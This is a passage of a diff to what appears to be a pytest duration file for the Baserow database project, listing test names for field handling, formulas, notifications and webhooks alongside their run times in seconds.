"tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_count": 8.595800045441138e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_created_by": 0.00017574999947100878, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_created_on": 0.00019583299945225008, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_date": 7.76249999034917e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_email": 8.308199994644383e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_file": 9.479200070927618e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_formula": 8.062600045377621e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_last_modified": 8.212600005208515e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_last_modified_by": 7.908299903647276e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_link_row": 8.175000039045699e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_long_text": 9.416599914402468e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_lookup": 7.99590006863582e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_multiple_collaborators": 8.108300062303897e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_multiple_select": 8.041599994612625e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_number": 8.058299954427639e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_phone_number": 7.916600043245126e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_rating": 8.53750007081544e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_rollup": 8.14990007711458e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_single_select": 8.225000055972487e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_text": 0.00012766600048053078, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_url": 9.054099973582197e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_uuid": 8.08750010037329e-05, - "tests/baserow/contrib/database/field/test_field_handler.py::test_field_which_changes_its_underlying_type_will_have_alter_sql_run": 0.17689183299989963, - "tests/baserow/contrib/database/field/test_field_handler.py::test_find_next_free_field_name": 0.16964829200060194, - "tests/baserow/contrib/database/field/test_field_handler.py::test_find_next_free_field_name_returns_strings_with_max_length": 0.15778062600020348, - "tests/baserow/contrib/database/field/test_field_handler.py::test_get_field": 0.28898066700003255, - "tests/baserow/contrib/database/field/test_field_handler.py::test_get_fields": 0.28885387499940407, - "tests/baserow/contrib/database/field/test_field_handler.py::test_get_unique_row_values": 0.03460937499949068, - "tests/baserow/contrib/database/field/test_field_handler.py::test_get_unique_row_values_single_select": 0.028245999999853666, - "tests/baserow/contrib/database/field/test_field_handler.py::test_just_changing_a_fields_name_will_not_run_alter_sql": 0.165229791999991, - "tests/baserow/contrib/database/field/test_field_handler.py::test_new_select_options_are_used_when_duplicating_multiple_select_field": 0.23132054199959384, - "tests/baserow/contrib/database/field/test_field_handler.py::test_new_select_options_are_used_when_duplicating_single_select_field": 0.18439887699878454, - "tests/baserow/contrib/database/field/test_field_handler.py::test_update_field": 0.39264004200049385, - "tests/baserow/contrib/database/field/test_field_handler.py::test_update_field_failing": 0.18226400000094145, - "tests/baserow/contrib/database/field/test_field_handler.py::test_update_field_reset_filter_formula_field": 0.18892491699989478, - "tests/baserow/contrib/database/field/test_field_handler.py::test_update_field_when_underlying_sql_type_doesnt_change": 0.18109479099985037, - "tests/baserow/contrib/database/field/test_field_handler.py::test_update_field_when_underlying_sql_type_doesnt_change_old_prep": 0.17289908299972012, - "tests/baserow/contrib/database/field/test_field_handler.py::test_update_field_when_underlying_sql_type_doesnt_change_with_vars": 0.2057574160007789, - "tests/baserow/contrib/database/field/test_field_handler.py::test_update_field_with_type_error_on_conversion_should_null_field": 0.1748011259987834, - "tests/baserow/contrib/database/field/test_field_handler.py::test_update_select_options": 0.3213571249998495, - "tests/baserow/contrib/database/field/test_field_handler.py::test_when_field_type_forces_same_type_alter_fields_alter_sql_is_run": 0.17019591699954617, - "tests/baserow/contrib/database/field/test_field_handler.py::test_when_public_field_updated_number_of_queries_does_not_increase_with_amount_of_gallery_views": 0.36550091600020096, - "tests/baserow/contrib/database/field/test_field_handler.py::test_when_public_field_updated_number_of_queries_does_not_increase_with_amount_of_grid_views": 0.3597710829999414, - "tests/baserow/contrib/database/field/test_field_models.py::test_date_field_get_python_format": 0.01176108299932821, - "tests/baserow/contrib/database/field/test_field_models.py::test_field_hierarchy": 0.14427149900075165, - "tests/baserow/contrib/database/field/test_field_models.py::test_link_row_field": 0.02159899900016171, - "tests/baserow/contrib/database/field/test_field_models.py::test_model_class_name": 0.026798292001330992, + "tests/baserow/contrib/database/field/test_field_handler.py::test_can_convert_formula_to_numeric_field": 0.17712816700804979, + "tests/baserow/contrib/database/field/test_field_handler.py::test_can_create_single_select_options_with_specific_pk": 0.12136945995735005, + "tests/baserow/contrib/database/field/test_field_handler.py::test_can_update_single_select_options_with_upsert_key": 0.12563437499920838, + "tests/baserow/contrib/database/field/test_field_handler.py::test_change_primary_field_different_table": 0.14770429203053936, + "tests/baserow/contrib/database/field/test_field_handler.py::test_change_primary_field_field_is_already_primary": 0.11926483298884705, + "tests/baserow/contrib/database/field/test_field_handler.py::test_change_primary_field_field_no_update_permissions": 0.19546699902275577, + "tests/baserow/contrib/database/field/test_field_handler.py::test_change_primary_field_field_with_existing_primary_field": 0.15475720798713155, + "tests/baserow/contrib/database/field/test_field_handler.py::test_change_primary_field_field_with_primary": 0.12873295799363405, + "tests/baserow/contrib/database/field/test_field_handler.py::test_change_primary_field_field_without_primary": 0.12330087504233234, + "tests/baserow/contrib/database/field/test_field_handler.py::test_change_primary_field_signal_send": 0.1277079989667982, + "tests/baserow/contrib/database/field/test_field_handler.py::test_change_primary_field_type_not_primary": 0.12481266702525318, + "tests/baserow/contrib/database/field/test_field_handler.py::test_create_field": 0.2621229170181323, + "tests/baserow/contrib/database/field/test_field_handler.py::test_create_primary_field": 0.16212308401009068, + "tests/baserow/contrib/database/field/test_field_handler.py::test_delete_field": 0.20553775000735186, + "tests/baserow/contrib/database/field/test_field_handler.py::test_duplicating_link_row_field_properly_resets_pk_sequence_of_new_table": 0.49326575102168135, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_constraints_unique_with_empty": 0.9543655840097927, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_ai": 6.883300375193357e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_autonumber": 6.31260045338422e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_boolean": 7.583299884572625e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_count": 6.812499486841261e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_created_by": 6.112499977461994e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_created_on": 7.695797830820084e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_date": 7.554201874881983e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_email": 8.116703247651458e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_file": 6.61670055706054e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_formula": 0.00013504197704605758, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_last_modified": 6.720898090861738e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_last_modified_by": 6.079202285036445e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_link_row": 6.400002166628838e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_long_text": 0.0002409169974271208, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_lookup": 6.379198748618364e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_multiple_collaborators": 6.295798812061548e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_multiple_select": 6.204101373441517e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_number": 8.083297871053219e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_phone_number": 7.4541982030496e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_rating": 6.800098344683647e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_rollup": 0.00014154196833260357, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_single_select": 6.35419855825603e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_text": 0.00011149997590109706, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_url": 0.00010624999413266778, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_conversion_uuid": 6.449903594329953e-05, + "tests/baserow/contrib/database/field/test_field_handler.py::test_field_which_changes_its_underlying_type_will_have_alter_sql_run": 0.15748145899851806, + "tests/baserow/contrib/database/field/test_field_handler.py::test_find_next_free_field_name": 0.13680241705151275, + "tests/baserow/contrib/database/field/test_field_handler.py::test_find_next_free_field_name_returns_strings_with_max_length": 0.11781458396581002, + "tests/baserow/contrib/database/field/test_field_handler.py::test_get_field": 0.1882704159943387, + "tests/baserow/contrib/database/field/test_field_handler.py::test_get_fields": 0.18882124999072403, + "tests/baserow/contrib/database/field/test_field_handler.py::test_get_unique_row_values": 0.06578962397179566, + "tests/baserow/contrib/database/field/test_field_handler.py::test_get_unique_row_values_single_select": 0.05348724898067303, + "tests/baserow/contrib/database/field/test_field_handler.py::test_import_export_field_constraints_preservation": 0.5829858330253046, + "tests/baserow/contrib/database/field/test_field_handler.py::test_import_export_field_constraints_serialization": 0.1555050000315532, + "tests/baserow/contrib/database/field/test_field_handler.py::test_just_changing_a_fields_name_will_not_run_alter_sql": 0.13585679201059975, + "tests/baserow/contrib/database/field/test_field_handler.py::test_new_select_options_are_used_when_duplicating_multiple_select_field": 0.19240625004749745, + "tests/baserow/contrib/database/field/test_field_handler.py::test_new_select_options_are_used_when_duplicating_single_select_field": 0.16606850098469295, + "tests/baserow/contrib/database/field/test_field_handler.py::test_select_options_deleted_when_field_type_changed": 0.1892393330053892, + "tests/baserow/contrib/database/field/test_field_handler.py::test_update_field": 0.3889300830196589, + "tests/baserow/contrib/database/field/test_field_handler.py::test_update_field_failing": 0.1561955419892911, + "tests/baserow/contrib/database/field/test_field_handler.py::test_update_field_reset_filter_formula_field": 0.16568520897999406, + "tests/baserow/contrib/database/field/test_field_handler.py::test_update_field_when_underlying_sql_type_doesnt_change": 0.16653024998959154, + "tests/baserow/contrib/database/field/test_field_handler.py::test_update_field_when_underlying_sql_type_doesnt_change_old_prep": 0.15826191700762138, + "tests/baserow/contrib/database/field/test_field_handler.py::test_update_field_when_underlying_sql_type_doesnt_change_with_vars": 0.13532720899092965, + "tests/baserow/contrib/database/field/test_field_handler.py::test_update_field_with_type_error_on_conversion_should_null_field": 0.1536575409991201, + "tests/baserow/contrib/database/field/test_field_handler.py::test_update_select_options": 0.6547390839841682, + "tests/baserow/contrib/database/field/test_field_handler.py::test_when_field_type_forces_same_type_alter_fields_alter_sql_is_run": 0.1415264160023071, + "tests/baserow/contrib/database/field/test_field_handler.py::test_when_public_field_updated_number_of_queries_does_not_increase_with_amount_of_gallery_views": 0.43507558497367427, + "tests/baserow/contrib/database/field/test_field_handler.py::test_when_public_field_updated_number_of_queries_does_not_increase_with_amount_of_grid_views": 0.42951545797404833, + "tests/baserow/contrib/database/field/test_field_models.py::test_date_field_get_python_format": 0.018909834034275264, + "tests/baserow/contrib/database/field/test_field_models.py::test_field_hierarchy": 0.10667662500054576, + "tests/baserow/contrib/database/field/test_field_models.py::test_link_row_field": 0.05603441598941572, + "tests/baserow/contrib/database/field/test_field_models.py::test_model_class_name": 0.07215233400347643, + "tests/baserow/contrib/database/field/test_field_notification_types.py::test_anonymous_user_can_send_collaborator_notification_via_public_form": 0.5758720830199309, "tests/baserow/contrib/database/field/test_field_notification_types.py::test_email_notifications_are_created_correctly": 1.3424684189999425, - "tests/baserow/contrib/database/field/test_field_notification_types.py::test_email_notifications_are_created_correctly_for_collaborators_added": 0.534814790999917, - "tests/baserow/contrib/database/field/test_field_notification_types.py::test_email_notifications_are_created_correctly_for_mentions_in_rich_text_field": 0.47914145800132246, - "tests/baserow/contrib/database/field/test_field_notification_types.py::test_notification_are_not_sent_to_users_outside_workspace": 0.49561987399920326, - "tests/baserow/contrib/database/field/test_field_notification_types.py::test_notification_creation_on_adding_users_on_collaborator_fields": 0.7146922499996435, - "tests/baserow/contrib/database/field/test_field_notification_types.py::test_notification_creation_when_mentioning_users_in_a_rich_text_field_on_row_create": 0.4918469570002344, - "tests/baserow/contrib/database/field/test_field_notification_types.py::test_notification_creation_when_mentioning_users_in_a_rich_text_field_on_row_update": 0.5014808749992881, - "tests/baserow/contrib/database/field/test_field_notification_types.py::test_notifications_are_grouped_when_user_is_added_to_multiple_rows": 0.49778841599982115, - "tests/baserow/contrib/database/field/test_field_notification_types.py::test_notifications_are_not_created_if_the_field_parameter_is_false": 0.5186873749998995, - "tests/baserow/contrib/database/field/test_field_notification_types.py::test_notifications_are_not_sent_twice_on_undo_redo_row_create": 0.5871555829999124, - "tests/baserow/contrib/database/field/test_field_notification_types.py::test_notifications_are_not_sent_twice_on_undo_redo_row_update": 0.5901939589994072, - "tests/baserow/contrib/database/field/test_field_tasks.py::test_all_formula_that_needs_updates_are_periodically_updated": 0.06602429199938342, - "tests/baserow/contrib/database/field/test_field_tasks.py::test_one_formula_failing_doesnt_block_others": 0.19243279100010113, - "tests/baserow/contrib/database/field/test_field_tasks.py::test_run_delete_mentions_marked_for_deletion": 0.25928412600023876, - "tests/baserow/contrib/database/field/test_field_tasks.py::test_run_field_type_updates_dependant_fields": 0.0964582500000688, - "tests/baserow/contrib/database/field/test_field_tasks.py::test_run_periodic_field_type_doesnt_update_trashed_database": 0.19080591600049956, - "tests/baserow/contrib/database/field/test_field_tasks.py::test_run_periodic_field_type_doesnt_update_trashed_table": 0.2021095410009366, - "tests/baserow/contrib/database/field/test_field_tasks.py::test_run_periodic_field_type_doesnt_update_trashed_workspace": 0.19122345700088772, - "tests/baserow/contrib/database/field/test_field_tasks.py::test_run_periodic_field_type_update_per_non_existing_workspace_does_nothing": 0.011364666000190482, - "tests/baserow/contrib/database/field/test_field_tasks.py::test_run_periodic_field_type_update_per_workspace": 0.06731050100006541, - "tests/baserow/contrib/database/field/test_field_tasks.py::test_run_periodic_fields_updates": 0.2516922089989748, - "tests/baserow/contrib/database/field/test_field_tasks.py::test_workspace_updated_last_will_be_updated_first_this_time": 0.18644025100002182, - "tests/baserow/contrib/database/field/test_field_types.py::test_email_field_type": 0.26568979200146714, - "tests/baserow/contrib/database/field/test_field_types.py::test_field_types_with_get_order_have_get_value_for_filter": 0.007937374999528402, - "tests/baserow/contrib/database/field/test_field_types.py::test_field_types_with_get_value_for_filter_have_get_order": 0.008494791998600704, - "tests/baserow/contrib/database/field/test_field_types.py::test_human_readable_values": 3.4796521259995643, - "tests/baserow/contrib/database/field/test_field_types.py::test_import_export_formula_field": 0.16970887599927664, - "tests/baserow/contrib/database/field/test_field_types.py::test_import_export_lookup_field": 0.26142895800057886, - "tests/baserow/contrib/database/field/test_field_types.py::test_import_export_text_field": 0.01975883400064049, - "tests/baserow/contrib/database/field/test_field_types.py::test_long_text_field_type": 0.2039513750005426, - "tests/baserow/contrib/database/field/test_field_types.py::test_phone_number_field_type": 0.29498783300005016, - "tests/baserow/contrib/database/field/test_field_types.py::test_text_field_type_get_order": 0.4353467079990878, - "tests/baserow/contrib/database/field/test_field_types.py::test_valid_email": 0.3269299579997096, - "tests/baserow/contrib/database/field/test_field_types.py::test_valid_url": 0.3749319179996746, - "tests/baserow/contrib/database/field/test_field_utils.py::test_get_field_id_from_field_key_strict": 0.008072125001490349, - "tests/baserow/contrib/database/field/test_file_field_type.py::test_file_field_are_row_values_equal": 0.14500529100132553, - "tests/baserow/contrib/database/field/test_file_field_type.py::test_file_field_type": 0.6735255840012542, - "tests/baserow/contrib/database/field/test_file_field_type.py::test_file_field_type_in_double_formula": 0.3511736669997845, - "tests/baserow/contrib/database/field/test_file_field_type.py::test_file_field_type_in_formulas": 1.012068917999386, - "tests/baserow/contrib/database/field/test_file_field_type.py::test_filtering_file_field_type": 0.5958721669994702, - "tests/baserow/contrib/database/field/test_file_field_type.py::test_filtering_file_formula_field_type": 0.6080432930002644, - "tests/baserow/contrib/database/field/test_file_field_type.py::test_get_set_export_serialized_value_file_field": 0.167910624999422, - "tests/baserow/contrib/database/field/test_file_field_type.py::test_import_export_file_field": 0.37785245799932454, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_accessing_cached_internal_formula_second_time_does_no_queries": 0.17862883300040266, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_adding_a_formula_field_to_an_existing_table_populates_it_for_all_rows": 0.15972212399992713, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_all_functions_are_registered": 0.010803791999023815, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_cache_and_uncache_formula_model_field": 0.1620349159993566, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_change_formula_type_breaking_other_fields": 0.2045603749993461, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_delete_double_link_lookup_field_value": 0.4289164580004581, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_delete_lookup_field_value": 0.3212609590000284, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_have_nested_date_formulas": 0.1958738319999611, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_insert_and_update_rows_with_formula_referencing_single_select": 0.20079812499989202, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_rename_field_preserving_whitespace": 0.19217358300011256, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_still_insert_rows_with_an_invalid_but_previously_date_formula_field": 0.21329391699964617, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_update_lookup_field_value": 0.3007783749990267, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_use_complex_contains_filters_on_formula_field": 0.16330229199957103, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_use_complex_date_filters_on_formula_field": 0.1659941660000186, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_use_complex_date_filters_on_formula_field_with_lookup": 0.1646807910010466, - "tests/baserow/contrib/database/field/test_formula_field_type.py::test_cannot_create_view_filter_or_sort_on_invalid_field": 0.3974617499998203, + "tests/baserow/contrib/database/field/test_field_notification_types.py::test_email_notifications_are_created_correctly_for_collaborators_added": 0.6033786249754485, + "tests/baserow/contrib/database/field/test_field_notification_types.py::test_email_notifications_are_created_correctly_for_mentions_in_rich_text_field": 0.5214030009519774, + "tests/baserow/contrib/database/field/test_field_notification_types.py::test_email_notifications_show_unknown_user_for_anonymous_form_submissions": 0.5916176240134519, + "tests/baserow/contrib/database/field/test_field_notification_types.py::test_notification_are_not_sent_to_users_outside_workspace": 0.51491604099283, + "tests/baserow/contrib/database/field/test_field_notification_types.py::test_notification_creation_on_adding_users_on_collaborator_fields": 0.8426170010061469, + "tests/baserow/contrib/database/field/test_field_notification_types.py::test_notification_creation_when_mentioning_users_in_a_rich_text_field_on_row_create": 0.5165833749924786, + "tests/baserow/contrib/database/field/test_field_notification_types.py::test_notification_creation_when_mentioning_users_in_a_rich_text_field_on_row_update": 0.5931177500169724, + "tests/baserow/contrib/database/field/test_field_notification_types.py::test_notifications_are_grouped_when_user_is_added_to_multiple_rows": 0.5921287499950267, + "tests/baserow/contrib/database/field/test_field_notification_types.py::test_notifications_are_not_created_if_the_field_parameter_is_false": 0.5937020009732805, + "tests/baserow/contrib/database/field/test_field_notification_types.py::test_notifications_are_not_sent_twice_on_undo_redo_row_create": 0.7509477919957135, + "tests/baserow/contrib/database/field/test_field_notification_types.py::test_notifications_are_not_sent_twice_on_undo_redo_row_update": 0.8463209999899846, + "tests/baserow/contrib/database/field/test_field_single_select_options.py::test_migration_rows_with_deleted_singleselect_options": 0.00011279096361249685, + "tests/baserow/contrib/database/field/test_field_single_select_options.py::test_single_select_field_default_value": 0.22746033300063573, + "tests/baserow/contrib/database/field/test_field_single_select_options.py::test_single_select_ids_are_removed_from_rows_when_deleted": 0.15236433400423266, + "tests/baserow/contrib/database/field/test_field_tasks.py::test_all_formula_that_needs_updates_are_periodically_updated": 0.11245462400256656, + "tests/baserow/contrib/database/field/test_field_tasks.py::test_link_row_fields_deps_are_excluded_from_periodic_updates": 0.20684125000843778, + "tests/baserow/contrib/database/field/test_field_tasks.py::test_one_formula_failing_doesnt_block_others": 0.2101165839994792, + "tests/baserow/contrib/database/field/test_field_tasks.py::test_run_delete_mentions_marked_for_deletion": 0.282935458002612, + "tests/baserow/contrib/database/field/test_field_tasks.py::test_run_field_type_updates_dependant_fields": 0.25633579201530665, + "tests/baserow/contrib/database/field/test_field_tasks.py::test_run_periodic_field_type_doesnt_update_trashed_database": 0.1911345839907881, + "tests/baserow/contrib/database/field/test_field_tasks.py::test_run_periodic_field_type_doesnt_update_trashed_table": 0.19216912501724437, + "tests/baserow/contrib/database/field/test_field_tasks.py::test_run_periodic_field_type_doesnt_update_trashed_workspace": 0.19084945897338912, + "tests/baserow/contrib/database/field/test_field_tasks.py::test_run_periodic_field_type_update_per_non_existing_workspace_does_nothing": 0.023634540993953124, + "tests/baserow/contrib/database/field/test_field_tasks.py::test_run_periodic_field_type_update_per_workspace": 0.2020898750051856, + "tests/baserow/contrib/database/field/test_field_tasks.py::test_run_periodic_fields_updates": 0.30422770700533874, + "tests/baserow/contrib/database/field/test_field_tasks.py::test_run_periodic_fields_updates_if_necessary": 0.30584016599459574, + "tests/baserow/contrib/database/field/test_field_tasks.py::test_workspace_updated_last_will_be_updated_first_this_time": 0.1688605820236262, + "tests/baserow/contrib/database/field/test_field_types.py::test_all_fields_with_db_index_have_index": 7.803925207030261, + "tests/baserow/contrib/database/field/test_field_types.py::test_email_field_type": 0.3525259590242058, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type0]": 0.01404233300127089, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type10]": 0.013617959048133343, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type11]": 0.01365766703383997, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type12]": 0.01363037500414066, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type13]": 0.013833834032993764, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type14]": 0.01417149999178946, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type15]": 0.013403958000708371, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type16]": 0.01353466699947603, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type17]": 0.013500749017111957, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type18]": 0.014152874005958438, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type19]": 0.01477300000260584, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type1]": 0.014503957994747907, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type20]": 0.014292542007751763, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type21]": 0.0142287079943344, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type22]": 0.013894999021431431, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type23]": 0.013508083007764071, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type24]": 0.013423209020402282, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type25]": 0.013409207022050396, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type2]": 0.013772498990874738, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type3]": 0.013569875009125099, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type4]": 0.013613832998089492, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type5]": 0.013459042005706578, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type6]": 0.01360700002987869, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type7]": 0.014157791971229017, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type8]": 0.013464084040606394, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_check_can_filter_by[field_type9]": 0.013734583015320823, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_type_prepare_db_value_with_invalid_values": 0.24777679197723046, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_types_with_get_order_have_get_value_for_filter": 0.013258375023724511, + "tests/baserow/contrib/database/field/test_field_types.py::test_field_types_with_get_value_for_filter_have_get_order": 0.013074125949060544, + "tests/baserow/contrib/database/field/test_field_types.py::test_human_readable_values": 4.726653625024483, + "tests/baserow/contrib/database/field/test_field_types.py::test_import_export_formula_field": 0.15738616700400598, + "tests/baserow/contrib/database/field/test_field_types.py::test_import_export_immutable_field": 0.04197329198359512, + "tests/baserow/contrib/database/field/test_field_types.py::test_import_export_lookup_field": 0.3267078750068322, + "tests/baserow/contrib/database/field/test_field_types.py::test_import_export_text_field": 0.0438567089731805, + "tests/baserow/contrib/database/field/test_field_types.py::test_import_export_text_field_with_description": 0.042190417036181316, + "tests/baserow/contrib/database/field/test_field_types.py::test_long_text_field_type": 0.21116266699391417, + "tests/baserow/contrib/database/field/test_field_types.py::test_lookup_field_get_field_dependencies_import_serialized_broken_lookup": 0.40465387498261407, + "tests/baserow/contrib/database/field/test_field_types.py::test_number_field_type_export_with_nan_value": 0.12682416595635004, + "tests/baserow/contrib/database/field/test_field_types.py::test_number_field_type_export_with_nan_value_and_formatting": 0.12577950002742, + "tests/baserow/contrib/database/field/test_field_types.py::test_phone_number_field_type": 0.4130893329856917, + "tests/baserow/contrib/database/field/test_field_types.py::test_text_field_type_get_order": 0.19646275104605593, + "tests/baserow/contrib/database/field/test_field_types.py::test_tsv_not_created": 0.037610999977914616, + "tests/baserow/contrib/database/field/test_field_types.py::test_valid_email": 0.4253566670231521, + "tests/baserow/contrib/database/field/test_field_types.py::test_valid_url": 0.5433028329862282, + "tests/baserow/contrib/database/field/test_field_utils.py::test_deferred_field_import_in_different_tables": 0.22451641800580546, + "tests/baserow/contrib/database/field/test_field_utils.py::test_deferred_field_import_in_the_same_table": 0.10657600002014078, + "tests/baserow/contrib/database/field/test_field_utils.py::test_get_field_id_from_field_key_strict": 0.01278641598764807, + "tests/baserow/contrib/database/field/test_field_webhook_event_types.py::test_field_created_event_type": 0.12941883303574286, + "tests/baserow/contrib/database/field/test_field_webhook_event_types.py::test_field_created_event_type_test_payload": 0.1236270829977002, + "tests/baserow/contrib/database/field/test_field_webhook_event_types.py::test_field_deleted_event_type": 0.11609570801374502, + "tests/baserow/contrib/database/field/test_field_webhook_event_types.py::test_field_deleted_event_type_test_payload": 0.10988433301099576, + "tests/baserow/contrib/database/field/test_field_webhook_event_types.py::test_field_updated_event_type": 0.12412825101637281, + "tests/baserow/contrib/database/field/test_field_webhook_event_types.py::test_field_updated_event_type_test_payload": 0.1128682499693241, + "tests/baserow/contrib/database/field/test_file_field_type.py::test_file_field_are_row_values_equal": 0.09633745902101509, + "tests/baserow/contrib/database/field/test_file_field_type.py::test_file_field_type": 0.6321606249839533, + "tests/baserow/contrib/database/field/test_file_field_type.py::test_file_field_type_in_double_formula": 0.2836771250003949, + "tests/baserow/contrib/database/field/test_file_field_type.py::test_file_field_type_in_formulas": 1.3746112509979866, + "tests/baserow/contrib/database/field/test_file_field_type.py::test_filtering_file_field_type": 0.4057535410101991, + "tests/baserow/contrib/database/field/test_file_field_type.py::test_filtering_file_formula_field_type": 0.4198339589929674, + "tests/baserow/contrib/database/field/test_file_field_type.py::test_get_set_export_serialized_value_file_field": 0.16543912596534938, + "tests/baserow/contrib/database/field/test_file_field_type.py::test_import_export_file_field": 0.4746827910130378, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_accessing_cached_internal_formula_second_time_does_no_queries": 0.14361637498950586, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_adding_a_formula_field_to_an_existing_table_populates_it_for_all_rows": 0.14405383402481675, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_all_functions_are_registered": 0.02034787498996593, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_cache_and_uncache_formula_model_field": 0.14158979101921432, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_change_formula_type_breaking_other_fields": 0.2125710409891326, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_delete_double_link_lookup_field_value": 0.731241375033278, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_delete_lookup_field_value": 0.37479062599595636, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_export_import_database_with_broken_via_dependency": 0.6357237909978721, + "tests/baserow/contrib/database/field/test_formula_field_type.py::test_can_have_nested_date_formulas": 